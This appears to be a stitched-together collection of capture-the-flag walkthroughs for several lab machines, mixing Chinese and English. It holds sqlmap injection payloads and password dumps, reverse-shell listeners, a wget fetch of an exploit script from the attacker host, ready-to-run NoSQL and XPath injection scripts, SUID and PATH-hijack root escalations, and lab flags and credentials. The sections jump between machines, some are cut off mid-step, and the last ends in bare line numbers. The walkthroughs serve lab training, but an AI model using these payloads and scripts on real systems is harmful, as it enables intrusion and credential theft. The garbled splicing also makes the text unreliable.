[10:33:15] [INFO] parsing HTTP request from 'sqlmap.txt' [10:33:16] [INFO] resuming back-end DBMS 'mysql' [10:33:16] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=4 AND 8397=8397
Type: time-based blind Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP) Payload: id=4 OR (SELECT 1251 FROM (SELECT(SLEEP(5)))iJMb)
Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: id=4 UNION ALL SELECT NULL,NULL,CONCAT(0x7171716271,0x5477494d6f456c6a6e4e72506d666a7a565248436e516d504f497075554b6169514b706166706b6e,0x7162716b71),NULL,NULL,NULL,NULL-- rTAY --- [10:33:16] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [10:33:16] [INFO] fetched data logged to text files under 'C:\Users\HASEE\AppData\Local\sqlmap\output\192.168.142.129'
$ sqlmap.py -r sqlmap.txt -D cms -T user --dump ___ __H__ ___ ___[(]_____ ___ ___ {1.3.12.1#dev} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:25:54 /2019-12-17/
[10:25:54] [INFO] parsing HTTP request from 'sqlmap.txt' [10:25:54] [INFO] resuming back-end DBMS 'mysql' [10:25:54] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=4 AND 8397=8397
Type: time-based blind Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP) Payload: id=4 OR (SELECT 1251 FROM (SELECT(SLEEP(5)))iJMb)
Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: id=4 UNION ALL SELECT NULL,NULL,CONCAT(0x7171716271,0x5477494d6f456c6a6e4e72506d666a7a565248436e516d504f497075554b6169514b706166706b6e,0x7162716b71),NULL,NULL,NULL,NULL-- rTAY --- [10:25:54] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [10:25:54] [INFO] fetching columns for table 'user'in database 'cms' [10:25:54] [INFO] fetching entries for table 'user'in database 'cms' [10:25:54] [INFO] recognized possible password hashes in column 'user_password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N do you want to crack them via a dictionary-based attack? [Y/n/q] Y [10:25:54] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file 'D:\burpcn2.0\BurpSuite_pro_v2.1\BurpSuite_pro_v2.1\data\txt\wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [10:25:54] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [10:25:54] [INFO] starting dictionary-based cracking (md5_generic_passwd) [10:25:54] [INFO] starting 12 processes [10:25:58] [INFO] cracked password 'adminpass'forhash'25e4ee4e9229397b6b17776bfceaf8e7' [10:26:04] [INFO] current status: ZZyZZ... \Database: cms Table: user [1 entry] +---------+----------------------------------------------+---------------+ | user_id | user_password | user_username | +---------+----------------------------------------------+---------------+ | 1 | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) | admin | +---------+----------------------------------------------+---------------+
[10:26:04] [INFO] table 'cms.`user`' dumped to CSV file 'C:\Users\HASEE\AppData\Local\sqlmap\output\192.168.142.129\dump\cms\user.csv' [10:26:04] [INFO] fetched data logged to text files under 'C:\Users\HASEE\AppData\Local\sqlmap\output\192.168.142.129'
[*] ending @ 10:26:04 /2019-12-17/
成功之后直接上传.php文件
如下图所示成功上传,然后访问shell,kali端nc -lvp 5566监听
成功返回shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
root@kali:~# nc -lvp 5566 listening on [any] 5566 ... 192.168.142.129: inverse host lookup failed: Unknown host connect to [192.168.142.128] from (UNKNOWN) [192.168.142.129] 37560 Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux 02:37:06 up 1:08, 0 users, load average: 0.10, 0.08, 0.45 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=48(apache) gid=48(apache) groups=48(apache) sh: no job control in this shell sh-3.2$ id uid=48(apache) gid=48(apache) groups=48(apache) sh-3.2$ whoami apache sh-3.2$ pwd / sh-3.2$
提权
命令行信息收集
1 2 3 4 5 6
sh-3.2$ python -c 'import pty; pty.spawn("/bin/sh")' sh-3.2$ uname -a Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux sh-3.2$ cat /etc/*release* cat: /etc/lsb-release.d: Is a directory CentOS release 5.2 (Final)
下载提权脚本开始提权,exploits-8478
kali执行
1 2
root@kali:~# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...
shell中执行
1 2 3 4 5 6 7 8 9 10 11
sh-3.2$ wget http://192.168.142.128:8000/8478.sh wget http://192.168.142.128:8000/8478.sh --02:52:03-- http://192.168.142.128:8000/8478.sh Connecting to 192.168.142.128:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 3498 (3.4K) [text/x-sh] Saving to: `8478.sh' 100%[=======================================>] 3,498 --.-K/s in 0s 02:52:03 (603 MB/s) - `8478.sh' saved [3498/3498]
from requests import post from string import lowercase url = 'http://staging-order.mango.htb/' def sendPayload(): for char in lowercase: regex = '{}.*'.format(char) data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' } response = post(url, data = data, allow_redirects=False) if response.status_code == 302: print"Found valid letter: {}".format(char) def getUser(): sendPayload() if __name__ == '__main__': getUser()
代码已经缩进好了,直接复制粘贴就可以使用
运行代码,列出DB中所有用户名中出现的所有字符。
1 2 3 4 5 6 7
Found valid letter: a Found valid letter: d Found valid letter: g Found valid letter: i Found valid letter: m Found valid letter: n Found valid letter: o
System information as of Tue Apr 21 05:18:56 UTC 2020
System load: 0.08 Processes: 99 Usage of /: 25.8% of 19.56GB Users logged in: 0 Memory usage: 14% IP address for ens33: 10.10.10.162 Swap usage: 0%
* Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch
122 packages can be updated. 18 updates are security updates.
Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138 /usr/bin/xauth: file /home/mango/.Xauthority does not exist mango@mango:~$ id uid=1000(mango) gid=1000(mango) groups=1000(mango) mango@mango:~$ whoami mango mango@mango:~$ sudo -l [sudo] password for mango: Sorry, user mango may not run sudo on mango.
找到user.txt但是用户权限不足
1 2 3 4 5
mango@mango:/home$ cd admin mango@mango:/home/admin$ ls user.txt mango@mango:/home/admin$ cat user.txt cat: user.txt: Permission denied
切换用户,获取user
1 2 3 4 5 6 7 8 9 10
mango@mango:/home/admin$ su admin Password: $ id uid=4000000000(admin) gid=1001(admin) groups=1001(admin) $ whoami admin $ ls user.txt $ cat user.txt 79bf31c6c6eb38a8567832f7f8b47e92
$ jjs Warning: The jjs tool is planned to be removed from a future JDK release jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/sh').waitFor() 0 jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/sh').waitFor() 0 jjs> $ cd /tmp $ ls hsperfdata_root systemd-private-daa6581d1d8b4f4ca498d538b165beb7-apache2.service-TSRSE0 mongodb-27017.sock systemd-private-daa6581d1d8b4f4ca498d538b165beb7-systemd-resolved.service-VipHFk sh systemd-private-daa6581d1d8b4f4ca498d538b165beb7-systemd-timesyncd.service-1Ap17W $ ./sh -p # id uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin) # whoami root # cd /root # ls root.txt # cat root.txt 8a8ef79a7a2fbb01ea81688424e9ab15
OS: Linux Difficulty: Easy Points: 20 Release: 08 Jan 2022 IP: 10.10.11.136
Enumeration
NMAP
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/pandora] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.136 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see that the TCP ports 22(ssh) and 80(http) are open. Let’s check what the port 80 gives us.
Navigating the website, it seems like all are static pages and no dynamic content is being shown. There is one form for filling sending a message to admins, but the form does not do anything except refresh the page. There is also not a robots.txt that may reveal some juicy info. Maybe there are some interesting hidden directories, let’s fire gobuster!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root💀kali)-[~/hackthebox/machine/pandora] └─# gobuster dir -u http://10.10.11.136 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.136 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/12 00:51:23 Starting gobuster in directory enumeration mode =============================================================== /assets (Status: 301) [Size: 313] [--> http://10.10.11.136/assets/]
Gobuster gives nothing interesting except, the /assets directory which contains javascript and css files and some images. Maybe this is the directory where it is fetching the contents on the main website from.
At this point we don’t have much to work with. Let’s try a UDP scan.
1 2 3
nmap -sU -sC -sV -v 10.10.11.136
Discovered open port 161/udp on 10.10.11.136
We got one port(UDP 161) SNMP. Let’s see what it has to offer. We run snmpwalk with the public community string.
public is default for most snmp servers and thats why I tried public first, if it doesn’t work, one might have to bruteforce the community string.
1 2 3 4
┌──(root💀kali)-[~/hackthebox/machine/pandora] └─# snmpwalk -v 2c 10.10.11.136 -c public | grep daniel iso.3.6.1.2.1.25.4.2.1.5.817 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'" iso.3.6.1.2.1.25.4.2.1.5.1119 = STRING: "-u daniel -p HotelBabylon23"
Snmpwalk gave us a bunch of details, but the most interesting one is the credentials of the user Daniel. Apparently there is a process running and the command of that includes the credentials for the user Daniel.
Let’s ssh into the box with the obtained credentials. The user “daniel” does not have a lot of privileges. Looking at /etc/passwd, there is one other user matt which might have privileges. Looking around the system, we see that along with the static website that we saw earlier, there is one another web app called pandora. But looking at the sites-enabled config, there seems to be no way to it. But making a curl request from the localhost(victim), shows something interesting.
It seems like only the localhost might have access to that website. Let’s create an ssh tunnel to port 80 so that we can view the website from our machine.
1
ssh -L 80:localhost:80 daniel@10.10.11.136
The pandora console opens and asks for credentials.
Common login credentials like admin/admin, admin/password don’t work. Googling pandora gives us the information that it is a monitoring system. Moreover the version of the pandora is clearly visible on the bottom of the login page: v7.0NG.742. On searching for the exploit specific to this version we come across a very interesting article.
┌──(root💀kali)-[~/hackthebox/machine/pandora] └─# sqlmap --url="http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=''" -D pandora -T tsessions_php --dump ...... sqlmap resumed the following injection point(s) from stored session: --- Parameter: session_id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: session_id=-4214' OR 7546=7546# Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: session_id=''' OR (SELECT 8036 FROM(SELECT COUNT(*),CONCAT(0x716b7a6a71,(SELECT (ELT(8036=8036,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HLHR
After logging in as admin, we snoop around a bit and see that there is a file upload options. It also seems like the system is written in php. So lets use the good old php-reverse-shell.
go to admin tools -> file manager
We upload the shell and set a listener at 9000 on our machine and navigate to the shell in our browser.
System information as of Wed 12 Jan 14:40:31 UTC 2022
System load: 0.14 Processes: 262 Usage of /: 63.0% of 4.87GB Users logged in: 2 Memory usage: 8% IPv4 address for eth0: 10.10.11.136 Swap usage: 0%
=> /boot is using 91.8% of 219MB
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jan 12 14:39:39 2022 from 10.10.17.32 matt@pandora:~$ id uid=1000(matt) gid=1000(matt) groups=1000(matt) matt@pandora:~$ whoami matt
After logging in, the first thing we do is obtain linpeas.sh onto the target system. Running linpeas gives some juicy info, but the most eye catching thing is a binary called pandora_backup with the SUID set.
Looking at the contents of the binary, we see that it is using tar to uncompress something from /root. Since tar is not being called with the absolute path, we can use PATH highjacking to obtain root.
We create a local file tar, with contents “/bin/sh”, append the path to our PATH env variable and run the binary and we get root and out last flag inside /root
root@kali:~/vulnhub/SkyTower# nmap -sn -v 192.168.56.* Nmap scan report for 192.168.56.101 Host is up (0.00015s latency). MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
1 2 3 4 5
root@kali:~# nmap -p- -v -sV 192.168.56.101 PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.2.22 ((Debian)) 3128/tcp open http-proxy Squid http proxy 3.1.20
root@kali:~# nmap -p 22,80,3128 -v -A -T4 --script=vuln 192.168.56.101 PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_clamav-exec: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.101 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.56.101:80/ | Form id: |_ Form action: login.php |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /login.php: Possible admin folder |_http-server-header: Apache/2.2.22 (Debian) | http-sql-injection: | Possible sqli for forms: | Form at path: /, form's action: login.php. Fields that might be vulnerable: |_ email |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 3128/tcp open http-proxy Squid http proxy 3.1.20 |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-server-header: squid/3.1.20
root@kali:~/vulnhub/SkyTower# proxychains ssh john@127.0.0.1 ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-192.168.56.101:3128-<>-127.0.0.1:1080-<--denied |D-chain|-<>-192.168.56.101:3128-<><>-127.0.0.1:22-<><>-OK The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': john@127.0.0.1's password: Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jun 20 07:41:08 2014
Funds have been withdrawn Connection to 127.0.0.1 closed.
root@kali:~# nc -lvp 5566 listening on [any] 5566 ... 192.168.56.101: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 34906 id uid=1001(sara) gid=1001(sara) groups=1001(sara) whoami sara sudo -l Matching Defaults entries for sara on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host: (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
如所见,sara可以使用sudo运行以下命令cat和ls,目录必须为/accounts/*
找到flag
1 2 3
sudo /bin/cat /accounts/../../../root/flag.txt Congratz, have a cold one to celebrate! root password is theskytower
然后连接root账户的ssh,成功获取root权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
root@kali:~/vulnhub/SkyTower# proxychains ssh root@127.0.0.1 -t "/bin/bash" ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-192.168.56.101:3128-<>-127.0.0.1:1080-<--denied |D-chain|-<>-192.168.56.101:3128-<><>-127.0.0.1:22-<><>-OK Enter passphrase for key '/root/.ssh/id_rsa': root@127.0.0.1's password: root@SkyTower:~# id uid=0(root) gid=0(root) groups=0(root) root@SkyTower:~# whoami root root@SkyTower:~# ls flag.txt root@SkyTower:~# cat flag.txt Congratz, have a cold one to celebrate! root password is theskytower root@SkyTower:~#
知识点总结
sql注入绕过过滤
使用proxychains代理http-proxy连接被过滤的ssh端口
Game over
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…
root@kali:~# nmap -sC -sV -p- 10.10.10.200 -v --min-rate=10000 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA) | 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA) |_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519) 873/tcp open rsync (protocol version 31) 3128/tcp open http-proxy Squid http proxy 4.6 |_http-title: ERROR: The requested URL could not be retrieved Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
This is a huge file so use sed to grep only the active lines:
1 2 3 4 5
root@kali:~/hackthebox/machine/unbalanced# sed '/^#/ d' < decrypt/squid.conf > readable.txt root@kali:~/hackthebox/machine/unbalanced# cat readable.txt ... a hostname: intranet.unbalanced.htb a password: Thah$Sh1
got a password from squid and able to see more of the config
url = 'http://172.31.179.1/intranet.php' proxy_url = 'http://10.10.10.200:3128' w = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*(){}:"<>?' u = ['rita','jim','bryan','sarah']
for user in u: data = {'Username': '', 'Password': "' or Username='" + user + "' and substring(Password,0,1)='x"} request = requests.post(url, data=data, proxies={'http':proxy_url}) b = len(request.text) cracked_pass = '' for i in range(1,80): found = False for c in w: data = {'Username': '', 'Password': "' or Username='" + user + "' and substring(Password," + str(i) + ",1)='" + c + ""} request = requests.post(url, data=data, proxies={'http':proxy_url}) if len(request.text) != b: found = True break if not found: break print('Attempting User {0}'.format(user)) print('[+]Found character: {2}'.format(user, i, c)) cracked_pass += c print(cracked_pass)
for user inusers: data = {"Username": '', "Password": "' or username= '" + user + "'or substring(Password,1,1)='p' or'"} request = requests.post(url, data=data, proxies={'http':proxy}) length = len(request.text) p4ss = '' for i in range(1,25): for l in letters: data = {"Username": '', "Password": "' or username= '" + "{}".format(user) + "'or substring(Password,{},1)='{}' or'".format(str(i),l)} request1 = requests.post(url, data=data, proxies={'http':proxy}) if"{}@unbalanced.htb".format(user) in request1.text and len(request1.text) != 6756: print("Got hit for User '{}' - Letter is '{}'".format(user, l)) p4ss += l print(str(i)) print(str(p4ss)) pass
use burp intruder to bruteforce is also a great idea,
root@kali:~# ssh bryan@10.10.10.200 The authenticity of host '10.10.10.200 (10.10.10.200)' can't be established. ECDSA key fingerprint is SHA256:aiHhPmnhyt434Qvr9CpJRZOmU7m1R1LI29c11na1obY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.200' (ECDSA) to the list of known hosts. bryan@10.10.10.200's password: Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jun 17 14:16:06 2020 from 10.10.10.4 bryan@unbalanced:~$ id uid=1000(bryan) gid=1000(bryan) groups=1000(bryan) bryan@unbalanced:~$ whoami bryan bryan@unbalanced:~$ ls TODO user.txt bryan@unbalanced:~$ cat user.txt 51dfe0d5a9a3981ca4fdbfee0619d773
bryan@unbalanced:~$ cat TODO ############ # Intranet # ############ * Install new intranet-host3 docker [DONE] * Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE] * Test intranet-host3 [DONE] * Add intranet-host3 to load balancer [DONE] * Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE] * Fix intranet-host2 [DONE] * Re-add intranet-host2 to load balancer (set default weight) [DONE] - Fix intranet-host1 [TODO] - Re-add intranet-host1 to load balancer (set default weight) [TODO]
########### # Pi-hole # ########### * Install Pi-hole docker (only listening on 127.0.0.1) [DONE] * Set temporary admin password [DONE] * Create Pi-hole configuration script [IN PROGRESS] - Run Pi-hole configuration script [TODO] - Expose Pi-hole ports to the network [TODO]
There was a suspicious TODO file in Bryan’s home folder. What is in progress is vulnerable. As it is, PiHole might be the hold for privilege escalation. PiHole server is running in docker and it can be only accessed through the localhost. Let’s find which port it is running.
seems like I need to find a domain for the PiHole server. Then ran the linpeas enumeration script on the server.
1 2 3 4 5 6
172.31.179.2 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:02 STALE 172.31.11.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:0b:03 STALE 172.31.179.1 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:01 STALE 172.31.179.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:03 STALE 10.10.10.2 dev ens160 lladdr 00:50:56:b9:f9:ab REACHABLE fe80::250:56ff:feb9:f9ab dev ens160 lladdr 00:50:56:b9:f9:ab router STALE
looks like we found the ip of the pi-hole webpage
1 2 3 4 5 6
bryan@unbalanced:~$ curl 172.31.11.3
<html><head> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/> <link rel='stylesheet' href='/pihole/blockingpage.css'type='text/css'/> </head><body id='splashpage'><img src='/admin/img/logo.svg'/><br/>Pi-<b>hole</b>: Your black hole for Internet advertisements<br><a href='/admin'>Did you mean to go to the admin panel?</a></body></html>
turn on the proxy again , see the webpage and are able to login in with the default creds:
Since the exploit is not configured to use a proxy server
we can do two things change the exploit or use ssh tunneling
1
ssh -L 81:172.31.11.3:80 bryan@10.10.10.200
then browser to
1
http://127.0.0.1:81/admin/
use the poc from github
CVE-2020-8816
run the script then we got a reverse shell
1 2 3 4 5 6 7 8
root@kali:~/hackthebox/machine/unbalanced# python exp2.py http://127.0.0.1:81 admin 10.10.14.5 3344 Attempting to verify if Pi-hole version is vulnerable Logging in... Login succeeded Grabbing CSRF token Attempting to read$PATH Pihole is vulnerable and served's $PATH allows PHP Sending payload
1 2 3 4 5 6 7 8 9 10 11
root@kali:~# nc -lvp 3344 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::3344 Ncat: Listening on 0.0.0.0:3344 Ncat: Connection from 10.10.10.200. Ncat: Connection from 10.10.10.200:38602. /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data
# Set temperature unit to Celsius /usr/local/bin/pihole -a -c
# Add local host record /usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1
# Set privacy level /usr/local/bin/pihole -a -l 4
# Set web admin interface password /usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'
# Set admin email /usr/local/bin/pihole -a email admin@unbalanced.htb
then we use the password to get root
wow! easy root!
1 2 3 4 5 6 7 8 9 10 11 12 13
bryan@unbalanced:~$ su root Password: root@unbalanced:/home/bryan# cd root@unbalanced:~# id uid=0(root) gid=0(root) groups=0(root) root@unbalanced:~# whoami root root@unbalanced:~# ls root.txt root@unbalanced:~# cat root cat: root: No such file or directory root@unbalanced:~# cat root.txt 9c9972cb01af0521dc17b015c30103c3
Summary of knowledge
Rsync download files
EncFS password decrypted
sed grep the active lines
use squidclient to see more information
set http-proxy Squid http proxy to access the webpage
exploit with xpath injection
python script or burp intruder to fuzz xpath payload args
root@kali:~# nmap -sn -v 192.168.56.* Nmap scan report for 192.168.56.104 Host is up (0.00031s latency). MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
1 2 3 4 5
root@kali:~# nmap -sV -p- -v 192.168.56.104 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 6667/tcp open irc ngircd
Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenDocMan, which can be exploited to perform SQL Injection and gain administrative access to the application.
1) SQL Injection in OpenDocMan: CVE-2014-1945
The vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in"/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database. The exploitation example below displays version of the MySQL server: http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v ersion%28%29,3,4,5,6,7,8,9 2) Improper Access Control in OpenDocMan: CVE-2014-1946 The vulnerability exists due to insufficient validation of allowed action in "/signup.php" script when updating userâ??s profile. A remote authenticated attacker can assign administrative privileges to the current account and gain complete control over the application. The exploitation example below assigns administrative privileges for the current account: <form action="http://[host]/signup.php" method="post" name="main"> <input type="hidden" name="updateuser" value="1"> <input type="hidden" name="admin" value="1"> <input type="hidden" name="id" value="[USER_ID]"> <input type="submit" name="login" value="Run"> </form> ------------------------------------------------------------------------ ----------------------- Solution: Update to OpenDocMan v1.2.7.2 More Information: http://www.opendocman.com/opendocman-v1-2-7-1-release/ http://www.opendocman.com/opendocman-v1-2-7-2-released/ ------------------------------------------------------------------------ ----------------------- References: [1] High-Tech Bridge Advisory HTB23202 - https://www.htbridge.com/advisory/HTB23202 - Multiple vulnerabilities in OpenDocMan. [2] OpenDocMan - http://www.opendocman.com/ - Open Source Document Management System written in PHP. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
root@kali:~# ssh webmin@192.168.56.104 The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established. ECDSA key fingerprint is SHA256:nIyyJRPJMy1g6F5m8AIT7W//x6lj3ZqhUbYuvSafKeI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.104' (ECDSA) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': webmin@192.168.56.104's password: Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon Apr 20 04:13:19 CEST 2020
System load: 0.15 Memory usage: 2% Processes: 57 Usage of /: 5.7% of 29.91GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at: https://landscape.canonical.com/
Last login: Wed May 4 10:41:07 2016 $ id uid=1001(webmin) gid=1001(webmin) groups=1001(webmin) $ whoami webmin $ uname -a Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
检查内核的版本,看看它是否容易受到攻击。
1 2 3 4 5 6
$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.4 LTS Release: 14.04 Codename: trusty
root@kali:~# ssh vulnosadmin@192.168.56.104 Enter passphrase for key '/root/.ssh/id_rsa': vulnosadmin@192.168.56.104's password: Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686) * Documentation: https://help.ubuntu.com/ System information as of Mon Apr 20 05:11:47 CEST 2020 System load: 0.0 Processes: 86 Usage of /: 5.8% of 29.91GB Users logged in: 0 Memory usage: 16% IP address for eth0: 192.168.56.104 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ Last login: Wed May 4 19:35:16 2016 from 192.168.56.101 vulnosadmin@VulnOSv2:~$ id uid=1000(vulnosadmin) gid=1000(vulnosadmin) groups=1000(vulnosadmin),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sambashare) vulnosadmin@VulnOSv2:~$ whoami vulnosadmin
在用户“vulnosadmin”的主目录中发现了一个奇怪的文件。
查看它,似乎是一个blender3D文件。Blender 3D是一款三维建模和动画制作软件。
1 2
vulnosadmin@VulnOSv2:~$ ls r00t.blend
如果在blender中打开文件,会看到一个3D立方体。以实模式显示。
都得到了一个字符串,尝试用作root密码登录ssh
1
ab12fg//drg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
